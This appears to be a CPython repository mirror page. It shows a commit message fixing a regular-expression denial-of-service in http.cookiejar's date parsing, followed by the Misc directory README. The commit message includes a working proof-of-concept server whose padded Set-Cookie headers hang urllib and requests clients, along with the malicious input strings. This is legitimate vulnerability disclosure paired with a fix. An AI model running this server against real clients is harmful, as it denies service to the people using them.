mirror of https://github.com/python/cpython
1b779bfb85
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 # Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): # Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
* Regression test for http.cookiejar REDoS
If we regress, this test will take a very long time.
* Improve performance of http.cookiejar.ISO_DATE_RE
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
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|---|---|---|
| .. | ||
| NEWS.d | ||
| ACKS | ||
| HISTORY | ||
| Porting | ||
| README | ||
| README.AIX | ||
| README.coverity | ||
| README.valgrind | ||
| SpecialBuilds.txt | ||
| coverity_model.c | ||
| gdbinit | ||
| indent.pro | ||
| python-config.in | ||
| python-config.sh.in | ||
| python-embed.pc.in | ||
| python-wing3.wpr | ||
| python-wing4.wpr | ||
| python-wing5.wpr | ||
| python.man | ||
| python.pc.in | ||
| svnmap.txt | ||
| valgrind-python.supp | ||
| vgrindefs | ||
README
Python Misc subdirectory
========================
This directory contains files that wouldn't fit in elsewhere. Some
documents are only of historic importance.
Files found here
----------------
ACKS Acknowledgements
gdbinit Handy stuff to put in your .gdbinit file, if you use gdb
HISTORY News from previous releases -- oldest last
indent.pro GNU indent profile approximating my C style
NEWS News for this release (for some meaning of "this")
Porting Mini-FAQ on porting to new platforms
python-config.in Python script template for python-config
python.man UNIX man page for the python interpreter
python.pc.in Package configuration info template for pkg-config
python-wing*.wpr Wing IDE project file
README The file you're reading now
README.AIX Information about using Python on AIX
README.coverity Information about running Coverity's Prevent on Python
README.valgrind Information for Valgrind users, see valgrind-python.supp
SpecialBuilds.txt Describes extra symbols you can set for debug builds
svnmap.txt Map of old SVN revs and branches to hg changeset ids,
help history-digging
valgrind-python.supp Valgrind suppression file, see README.valgrind
vgrindefs Python configuration for vgrind (a generic pretty printer)